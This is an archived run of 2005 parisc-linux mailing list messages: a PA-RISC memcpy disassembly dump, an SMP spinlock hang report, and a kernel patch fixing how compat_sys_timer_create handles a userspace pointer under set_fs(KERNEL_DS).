    10325bb0:	0f 35 92 a8 	stw,ma r21,4(sr2,r25)
    10325bb4:	0f 34 92 a8 	stw,ma r20,4(sr2,r25)
    10325bb8:	0f 33 92 a8 	stw,ma r19,4(sr2,r25)
    10325bbc:	37 18 3f e1 	ldo -10(r24),r24
    10325bc0:	ef 1e 1f 8d 	cmpib,*<< f,r24,10325b8c <pa_memcpy+0xcc>
    10325bc4:	08 17 02 56 	copy r23,r22
    10325bc8:	08 19 02 5d 	copy r25,ret1
    10325bcc:	ef 00 20 28 	cmpib,*= 0,r24,10325be8 <pa_memcpy+0x128>
    10325bd0:	34 1c 00 00 	ldi 0,ret0
    10325bd4:	0e c2 50 33 	ldb,ma 1(sr1,r22),r19
    10325bd8:	0f b3 92 22 	stb,ma r19,1(sr2,ret1)
    10325bdc:	37 18 3f ff 	ldo -1(r24),r24
    10325be0:	ef 00 bf dd 	cmpib,*<> 0,r24,10325bd4 <pa_memcpy+0x114>
    10325be4:	34 1c 00 00 	ldi 0,ret0
    10325be8:	53 c2 3e e1 	ldd -90(sp),rp
    10325bec:	53 c8 3f 41 	ldd -60(sp),r8
    10325bf0:	53 c6 3f 51 	ldd -58(sp),r6
    10325bf4:	53 c5 3f 61 	ldd -50(sp),r5
    10325bf8:	53 c4 3f 71 	ldd -48(sp),r4
    10325bfc:	53 c3 3f 81 	ldd -40(sp),r3
    10325c00:	e8 40 d0 00 	bve (rp)
    10325c04:	37 de 3f 01 	ldo -80(sp),sp
    10325c08:	96 94 00 10 	subi 8,r20,r20
    10325c0c:	0a 80 52 73 	or,*>= r0,r20,r19
    10325c10:	96 73 00 00 	subi 0,r19,r19
    10325c14:	0a 60 04 33 	sub r0,r19,r19
    10325c18:	ef 00 3d d5 	cmpib,*= 0,r24,10325b08 <pa_memcpy+0x48>
    10325c1c:	da 73 00 1f 	extrd,u r19,0,1,r19
    10325c20:	86 60 3d cd 	cmpib,= 0,r19,10325b0c <pa_memcpy+0x4c>
    10325c24:	08 16 02 57 	copy r22,r23
    10325c28:	0e c2 50 33 	ldb,ma 1(sr1,r22),r19
    10325c2c:	37 18 3f ff 	ldo -1(r24),r24
    10325c30:	0f b3 92 22 	stb,ma r19,1(sr2,ret1)
    10325c34:	e8 1f 1f a5 	b,l 10325c0c <pa_memcpy+0x14c>,r0
    10325c38:	36 94 3f ff 	ldo -1(r20),r20
    10325c3c:	da 93 0b fe 	extrd,u r20,63,2,r19
    10325c40:	ee 60 24 80 	cmpib,*= 0,r19,10325e88 <cda_ldw_exc+0xa0>
    10325c44:	db 53 0b fe 	extrd,u r26,63,2,r19
    10325c48:	ee 60 a4 20 	cmpib,*<> 0,r19,10325e60 <cda_ldw_exc+0x78>
    10325c4c:	96 74 00 08 	subi 4,r19,r20
    10325c50:	da b3 0b fe 	extrd,u r21,63,2,r19
    10325c54:	db 05 1b a2 	extrd,u r24,61,62,r5
    10325c58:	f2 73 10 63 	depd,z r19,60,61,r19
    10325c5c:	08 17 02 5c 	copy r23,ret0
    10325c60:	96 73 00 40 	subi 20,r19,r19
    10325c64:	34 04 00 00 	ldi 0,r4
    10325c68:	da 62 0f e0 	extrd,s r19,63,32,rp
    10325c6c:	34 01 00 00 	ldi 0,r1
    10325c70:	d8 b3 0b fe 	extrd,u r5,63,2,r19
    10325c74:	ee 66 00 e0 	cmpib,*<< 3,r19,10325cec <pa_memcpy+0x22c>
    10325c78:	f6 a0 04 1e 	depdi 0,63,2,r21
    10325c7c:	86 66 80 d2 	cmpib,<<,n 3,r19,10325cec <pa_memcpy+0x22c>
    10325c80:	e8 13 40 00 	blr r19,r0
    10325c84:	08 00 02 40 	nop
    10325c88:	e8 00 02 e8 	b,l 10325e04 <cda_ldw_exc+0x1c>,r0
    10325c8c:	08 00 02 40 	nop
    10325c90:	e8 00 03 20 	b,l 10325e28 <cda_ldw_exc+0x40>,r0
    10325c94:	08 00 02 40 	nop
    10325c98:	e8 00 00 10 	b,l 10325ca8 <pa_memcpy+0x1e8>,r0
    10325c9c:	08 00 02 40 	nop
    10325ca0:	e8 00 03 38 	b,l 10325e44 <cda_ldw_exc+0x5c>,r0
    10325ca4:	08 00 02 40 	nop
    10325ca8:	0e a0 50 93 	ldw 0(sr1,r21),r19
    10325cac:	da 66 0b e0 	extrd,u r19,63,32,r6
    10325cb0:	0e a8 50 94 	ldw 4(sr1,r21),r20
    10325cb4:	36 b5 3f f9 	ldo -4(r21),r21
    10325cb8:	da 84 0b e0 	extrd,u r20,63,32,r4
    10325cbc:	34 a5 00 04 	ldo 2(r5),r5
    10325cc0:	36 fc 3f e9 	ldo -c(r23),ret0
    10325cc4:	0e b8 50 94 	ldw c(sr1,r21),r20
    10325cc8:	da 81 0b e0 	extrd,u r20,63,32,r1
    10325ccc:	01 62 18 40 	mtsar rp
    10325cd0:	d0 86 00 13 	shrpw r6,r4,%sar,r19
    10325cd4:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325cd8:	0f 93 92 98 	stw r19,c(sr2,ret0)
    10325cdc:	36 b5 00 20 	ldo 10(r21),r21
    10325ce0:	37 9c 00 20 	ldo 10(ret0),ret0
    10325ce4:	34 a5 3f f9 	ldo -4(r5),r5
    10325ce8:	ec a0 20 92 	cmpib,*=,n 0,r5,10325d38 <pa_memcpy+0x278>
    10325cec:	0e a0 50 94 	ldw 0(sr1,r21),r20
    10325cf0:	da 83 0b e0 	extrd,u r20,63,32,r3
    10325cf4:	01 62 18 40 	mtsar rp
    10325cf8:	d0 24 00 13 	shrpw r4,r1,%sar,r19
    10325cfc:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325d00:	0f 93 92 80 	stw r19,0(sr2,ret0)
    10325d04:	0e a8 50 94 	ldw 4(sr1,r21),r20
    10325d08:	da 86 0b e0 	extrd,u r20,63,32,r6
    10325d0c:	01 62 18 40 	mtsar rp
    10325d10:	d0 61 00 13 	shrpw r1,r3,%sar,r19
    10325d14:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325d18:	0f 93 92 88 	stw r19,4(sr2,ret0)
    10325d1c:	0e b0 50 94 	ldw 8(sr1,r21),r20
    10325d20:	da 84 0b e0 	extrd,u r20,63,32,r4
    10325d24:	01 62 18 40 	mtsar rp
    10325d28:	d0 c3 00 13 	shrpw r3,r6,%sar,r19
    10325d2c:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325d30:	0f 93 92 90 	stw r19,8(sr2,ret0)
    10325d34:	e8 1f 1f 17 	b,l,n 10325cc4 <pa_memcpy+0x204>,r0
    10325d38:	01 62 18 40 	mtsar rp
    10325d3c:	d0 24 00 13 	shrpw r4,r1,%sar,r19
    10325d40:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325d44:	0f 93 92 80 	stw r19,0(sr2,ret0)
    10325d48:	4b d4 3f 21 	ldw -70(sp),r20
    10325d4c:	4b d3 3f 21 	ldw -70(sp),r19
    10325d50:	8a 93 21 22 	cmpb,<>,n r19,r20,10325de8 <cda_ldw_exc>
    10325d54:	4b d4 3f 21 	ldw -70(sp),r20
    10325d58:	4b d3 3f 21 	ldw -70(sp),r19
    10325d5c:	8a 93 20 b8 	cmpb,<> r19,r20,10325dc0 <cda_stw_exc>
    10325d60:	08 18 02 53 	copy r24,r19
    10325d64:	4b d5 3f 21 	ldw -70(sp),r21
    10325d68:	db 18 0b fe 	extrd,u r24,63,2,r24
    10325d6c:	4b d4 3f 21 	ldw -70(sp),r20
    10325d70:	f6 60 04 1e 	depdi 0,63,2,r19
    10325d74:	0a 76 0a 36 	add,l r22,r19,r22
    10325d78:	8a b4 20 50 	cmpb,<> r20,r21,10325da8 <pmc_load_exc>
    10325d7c:	0a 7d 0a 3d 	add,l ret1,r19,ret1
    10325d80:	4b d4 3f 21 	ldw -70(sp),r20
    10325d84:	4b d3 3f 21 	ldw -70(sp),r19
    10325d88:	82 93 3c 7d 	cmpb,= r19,r20,10325bcc <pa_memcpy+0x10c>
    10325d8c:	08 00 02 40 	nop


c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Mon, 1 Aug 2005 21:02:56 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20050801200256.GM5500@levanta.com>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731184722.GH21753@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623877 15919 80.91.229.3 (22 Nov 2014 02:37:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 20:03:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 01 Aug 2005 22:03:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3564A7D674;
	Mon,  1 Aug 2005 14:03:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12969-09; Mon, 1 Aug 2005 14:03:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 968A07D68C;
	Mon,  1 Aug 2005 14:03:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 921C07D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 14:03:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12964-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 14:03:02 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id E138F7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 14:03:01 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id C6AD227B68B; Mon,  1 Aug 2005 21:02:56 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050731184722.GH21753@roadwarrior.mcmartin.ca>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VuWcYhdpeSEkO76WZHQhaXN1IGRvbwAJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23009

On Sun, Jul 31, 2005 at 02:47:22PM -0400, Kyle McMartin wrote:
> On Sun, Jul 31, 2005 at 10:00:05AM +0100, Richard Hirst wrote:
> > Then it hangs.  TOC shows it is in _spin_lock_irqsave() with a return
> > address in gscps2_interrupt().
> > 
> 
> Are you compiling with SMP? I seem to recall some spinlock reorganization
> patches may have gone in that we have not yet merged...

Just for the mail list archive... turning off SMP makes this problem
go away.

Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Fix compat_sys_timer_create kernel security
	hole.
Date: Mon, 1 Aug 2005 20:15:09 -0400
Lines: 155
Approved: news@gmane.org
Message-ID: <20050802001505.GA9703@systemhalted.org>
References: <20050801151506.GW9703@systemhalted.org>
	<20050801164250.GX9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623877 15920 80.91.229.3 (22 Nov 2014 02:37:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 00:15:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 02 Aug 2005 02:15:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4D867D68A;
	Mon,  1 Aug 2005 18:15:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14411-02; Mon, 1 Aug 2005 18:15:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ED967D68C;
	Mon,  1 Aug 2005 18:15:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6367D688
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 18:15:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14233-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 18:15:13 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id ED9757D687
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 18:15:12 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DzkR4-00010C-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 01 Aug 2005 20:15:10 -0400
Content-Disposition: inline
In-Reply-To: <20050801164250.GX9703@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Td6cYrgCeSEkZL6WZHQhaXN1IGRvbwD+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23010

On Mon, Aug 01, 2005 at 12:42:54PM -0400, Carlos O'Donell wrote:
> parisc,
> 
> Another crash. Remember in the compat case that the source and destination
> addresses may have sr's both set to zero since you are copying into a 
> temporary kernel structure.
> 
> Backtrace:
>  [<0000000010325ef4>] copy_to_user+0x34/0x40
>  [<00000000101711dc>] sys_timer_create+0x294/0x8c8
>  [<00000000101836f4>] compat_sys_timer_create+0x74/0xa8
>  [<0000000010107f8c>] syscall_exit+0x0/0x14

Found my own bug. I tested this code but at the time the kernel address
dereference worked and it didn't crash. Oddly enough the timer tests
passed in glibc.

When you run the full testsuite in nptl it catches this bug. The value
of created_timer_id is a userspace address and requires a copy into the
kernel and a copy back out.

Could someone else review this patch for any thing else I might have
forgotten?

---

When using set_fs(KERNEL_DS) all the variables crossing the boundary 
must be kernel addresses. Any user addresses would be treated as
kernel addresses and dereferences would cause an HPMC. This was the 
case here. The value of created_timer_id must be read into the kernel
and later copied back out, the same for timer_event_spec.

2005-08-01  Carlos O'Donell <carlos@systemhalted.org>

	* kernel/compat_signal.c (compat_copy_sigevent_to_user): New.
	* kernel/compat.c (compat_sys_timer_create): Also copy
	created_timer_id into kernel and use that.
	* include/linux/compat_signal.h: Add prototypes.
	
Signed-of-by: Carlos O'Donell <carlos@systemhalted.org>

Index: kernel/compat_signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/compat_signal.c,v
retrieving revision 1.7
diff -u -p -r1.7 compat_signal.c
--- kernel/compat_signal.c	3 Nov 2004 22:07:38 -0000	1.7
+++ kernel/compat_signal.c	2 Aug 2005 00:05:44 -0000
@@ -242,3 +242,39 @@ int compat_copy_sigevent_from_user(sigev
 }
 #endif
 
+#ifndef HAVE_ARCH_COPY_SIGEVENT_TO_USER
+int compat_copy_sigevent_to_user(compat_sigevent_t __user *to, sigevent_t *from)
+{
+	int err;
+	u32 scratch;
+	
+	/* copy sigval_t sigev_value 
+	 	int_t sival_int		(same)
+	 	uptr_t sival_ptr	(32 vs 64)*/
+	err = __put_user(from->sigev_value.sival_int, 
+	    		 &to->sigev_value.sival_int);
+	scratch = (u32 __force)from->sigev_value.sival_ptr & 0xffffffffUL;
+	err |= __put_user((compat_uptr_t)scratch, &to->sigev_value.sival_ptr);
+	
+	/* copy int_t sigev_signo 	(same)*/
+	err |= __put_user(from->sigev_signo, &to->sigev_signo);
+	
+	/* copy int_t sigev_notify	(same)*/
+	err |= __put_user(from->sigev_notify, &to->sigev_notify);
+
+	/* never copy _sigev_un padding */
+
+	/* copy int_t _tid 		(same),
+	   good_sigevent() uses this value of */
+	err |= __put_user(from->sigev_notify_thread_id, &to->sigev_notify_thread_id);
+	
+	/* XXX: Do not copy these, they aren't used by
+	   anyone. We would need to distinguish the uses of the union.
+	   copy _sigev_thread
+	  	uptr_t _function	(32 vs 64)
+	  	uptr_t _attribute	(32 vs 64)*/
+	
+	return err;
+}
+#endif
+
Index: kernel/compat.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/compat.c,v
retrieving revision 1.27
diff -u -p -r1.27 compat.c
--- kernel/compat.c	22 Apr 2005 00:26:08 -0000	1.27
+++ kernel/compat.c	2 Aug 2005 00:05:46 -0000
@@ -663,17 +663,35 @@ long compat_sys_timer_create(clockid_t w
 			     compat_timer_t __user * created_timer_id)
 {
 	sigevent_t kevent;
+	timer_t ktimer;
 	mm_segment_t old_fs = get_fs();
 	long ret;
 
+	/* sigevent_t needs handling for 32-bit to 64-bit compat */
 	if (timer_event_spec != NULL)
 		if (compat_copy_sigevent_from_user(&kevent, timer_event_spec) != 0)
 			return -EFAULT;
+	
+	/* Timer ID is assumed to be a non-struct simple value */
+	if (created_timer_id != NULL)
+		if (__get_user(ktimer, created_timer_id) != 0)
+		  	return -EFAULT;
 
 	set_fs(KERNEL_DS);
-	ret = sys_timer_create(which_clock, timer_event_spec ? (sigevent_t __user *)&kevent : NULL, created_timer_id);
+	ret = sys_timer_create(which_clock, 
+	    			timer_event_spec ? (sigevent_t __user *)&kevent : NULL, 
+	    			created_timer_id ? (timer_t __user *)&ktimer : NULL);
 	set_fs(old_fs);
+	
+	/* Copy back the results to userspace */
+	if (timer_event_spec != NULL)
+	  	if (compat_copy_sigevent_to_user(timer_event_spec, &kevent) != 0)
+			return -EFAULT;
 
+	if (created_timer_id != NULL)
+	  	if (__put_user(ktimer, created_timer_id) != 0)
+		  	return -EFAULT;
+	
 	return ret;
 }
 
Index: include/linux/compat_siginfo.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat_siginfo.h,v
retrieving revision 1.7
diff -u -p -r1.7 compat_siginfo.h
--- include/linux/compat_siginfo.h	18 Mar 2005 14:38:12 -0000	1.7
+++ include/linux/compat_siginfo.h	2 Aug 2005 00:05:46 -0000
@@ -175,6 +175,7 @@ extern int compat_copy_siginfo_to_user(c
 extern int compat_copy_siginfo_from_user(struct siginfo *to, compat_siginfo_t __user *from);
 
 extern int compat_copy_sigevent_from_user(struct sigevent *to, compat_sigevent_t __user *from);
+extern int compat_copy_sigevent_to_user(compat_sigevent_t __user *to, struct sigevent *from);
 
 #endif /* CONFIG_COMPAT */
 #endif /* _ASM_GENERIC_COMPAT_SIGINFO_H */


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Fix compat_sys_timer_create kernel security
	hole.
Date: Mon, 1 Aug 2005 23:42:23 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20050802034219.GB9703@systemhalted.org>
References: <20050801151506.GW9703@systemhalted.org>
	<20050801164250.GX9703@systemhalted.org>
	<20050802001505.GA9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623877 15921 80.91.229.3 (22 Nov 2014 02:37:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:57 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 03:42:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 02 Aug 2005 05:42:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B35C7D68F;
	Mon,  1 Aug 2005 21:42:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14972-04; Mon, 1 Aug 2005 21:42:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1D657D691;
	Mon,  1 Aug 2005 21:42:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E41B7D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 21:42:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14411-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 21:42:25 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7A8A17D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 21:42:25 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dznfb-0002mK-00; Mon, 01 Aug 2005 23:42:23 -0400
Content-Disposition: inline
In-Reply-To: <20050802001505.GA9703@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /I6cYqMgeSEkdb6WZHQhaXN1IGRvb0Cs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23011

On Mon, Aug 01, 2005 at 08:15:09PM -0400, Carlos O'Donell wrote:
> On Mon, Aug 01, 2005 at 12:42:54PM -0400, Carlos O'Donell wrote:
> > parisc,
> > 
> > Another crash. Remember in the compat case that the source and destination
> > addresses may have sr's both set to zero since you are copying into a 
> > temporary kernel structure.
> > 
> > Backtrace:
> >  [<0000000010325ef4>] copy_to_user+0x34/0x40
> >  [<00000000101711dc>] sys_timer_create+0x294/0x8c8
> >  [<00000000101836f4>] compat_sys_timer_create+0x74/0xa8
> >  [<0000000010107f8c>] syscall_exit+0x0/0x14
> 
> Found my own bug. 

James Bottomley deserves credit here :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gdb debugging SIGEV_THREAD threads?
Date: Tue, 2 Aug 2005 09:41:34 -0400
Lines: 241
Approved: news@gmane.org
Message-ID: <20050802134128.GC9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623878 15925 80.91.229.3 (22 Nov 2014 02:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
